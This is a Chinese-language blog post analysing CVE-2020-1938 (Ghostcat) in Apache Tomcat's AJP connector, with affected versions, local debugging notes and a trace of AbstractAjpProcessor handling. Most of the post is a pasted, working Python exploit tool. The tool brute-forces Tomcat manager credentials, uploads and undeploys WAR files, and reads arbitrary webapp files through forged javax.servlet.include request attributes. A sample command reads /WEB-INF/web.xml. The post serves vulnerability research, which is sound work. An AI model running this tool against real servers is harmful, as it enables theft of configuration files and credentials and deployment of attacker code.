CVE-2020-1938 : Tomcat-Ajp漏洞分析

大坑在环境调试。

先看下漏洞影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

这边本地环境是tomcat7.0.96+jdk7来进行复现。

根据漏洞初步分析是在ajp协议这块。百度搜索ajp和tomcat的相关信息。

搜索到https://www.iteye.com/blog/desert3-1419956

根据Server.xml中配置的协议AJP/1.3,调用org.apache.coyote.ajp.AjpAprProtocol来后续处理

那就知道了jar包的路径了。E:/study/tomcat7/lib/tomcat-coyote.jar!/org/apache/coyote/ajp/AjpAprProtocol.class。在这个tomcat的class下打断点,local方式启动tomcat7看看。能不能断点成功。

 

 

断点成功,说明程序没问题。在环境tomcat调试的过程中,tomcat需要1.7jdk or later,然后在配置文件中也需要设置1.7jre等情况才能成功启动。我目前因为环境原因,在tomcat的启动文件配置中把java_home和jre_home是写死的。

 贴上POC

#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

from base64 import b64encode
import socket
import argparse
import logging
import re
import os
import logging
import sys
try:
    from urllib import unquote
except ImportError:
    from urllib.parse import unquote

def setup_logger():
    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger

logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb")


    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + b64encode("%s:%s" % (user, password)).replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
      
        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) > 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz


    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header.encode('utf-8'))
                f.write(f_input.read())
                f.write(s_form_footer.encode('utf-8'))

        data_len = os.path.getsize("/tmp/request")

        headers = {
                "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
                "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))
            if len(s) > 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None


    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
                "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
                "SC_REQ_CONTENT_LENGTH": "0",
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
            {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
            "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data.decode('utf8'))
            for app in im:
                found.append(unquote(app))
        return found


    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
                "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
                "SC_REQ_CONTENT_LENGTH": "0",
                "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
                "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
            {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
            "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data.decode('utf-8'))
                if len(f) > 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers()

    parser.add_argument("target", type=str, help="Hostname or IP to attack")
    parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument('-v', '--verbose', action='count', default=1)

    parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')
    parser_bf.set_defaults(which='bf')
    parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")
    parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)
    parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)
    parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")

#    parser_req = subparsers.add_parser('req', help='Request resource')
#    parser_req.set_defaults(which='req')
#    parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())

    parser_upload = subparsers.add_parser('upload', help='Upload WAR')
    parser_upload.set_defaults(which='upload')
    parser_upload.add_argument("filename", type=str, help="WAR file to upload")
    parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
    parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
    parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
    parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

    parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')
    parser_upload.set_defaults(which='undeploy')
    parser_upload.add_argument("path", type=str, help="Installed WAR path")
    parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
    parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
    parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
    parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

    parser_version = subparsers.add_parser('version', help='Get version')
    parser_version.set_defaults(which='version')
    parser_upload = subparsers.add_parser('list', help='List installed applications')
    parser_upload.set_defaults(which='list')
    parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")
    parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")
    parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")
    parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")

    read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')
    read_file.set_defaults(which='read_file')
    read_file.add_argument("file_path", type=str, help="File to read")
    read_file.add_argument("-w", "--webapp", type=str, default="", help="Webapp")
    read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")

    args = parser.parse_args()


    if args.verbose == 1:
        logger.setLevel(logging.INFO)
    else:
        logger.setLevel(logging.DEBUG)

    bf = Tomcat(args.target, args.port)
    if args.which == 'bf':
        bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)
#    elif args.which == 'req':
#        print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)
    elif args.which == 'upload':
        bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)
    elif args.which == 'version':
        print(bf.get_version())
    elif args.which == 'list':
        apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)
        logger.info("Installed applications:")
        for app in apps:
            logger.info('- ' + app)
    elif args.which == 'undeploy':
        bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)
    elif args.which == 'read_file':
        attributes = [
            {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "1",)},
            {"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},
            {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "",)},
        ]
        hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
        output = sys.stdout
        if args.output:
            output = open(args.output, "wb")
        for d in data:
            if args.output:
                output.write(d.data)
            else:
                try:
                    output.write(d.data.decode('utf8'))
                except UnicodeDecodeError:
                    output.write(repr(d.data))

        if args.output:
            output.close()

λ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1

基础关系链

 

AjpAprProcessor.class第97行,this.prepareRequest();

AbstractAjpProcessor.class的prepareRequest函数进行跟踪。

获取到headers的内容:

 1 === MimeHeaders ===
 2 accept = text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 3 connection = keep-alive
 4 content-length = 0
 5 host = 127.0.0.1
 6 user-agent = Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0
 7 Accept-Encoding = gzip, deflate, sdch
 8 Accept-Language = en-US,en;q=0.5
 9 Upgrade-Insecure-Requests = 1
10 Cache-Control = max-age=0

 

/apache-tomcat-7.0.94/lib/tomcat-coyote.jar!/org/apache/coyote/ajp/AbstractAjpProcessor.class   530行

this.request.setAttribute(n, v);

 

 

第一次n,v

 

 

第二次n,v

 

 

第三次n,v

 

 对应poc里面的

attributes = [
            {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
            {"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},
            {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
        ]

 

posted @ 2020-03-02 17:34  ph4nt0mer  阅读(506)  评论(0编辑  收藏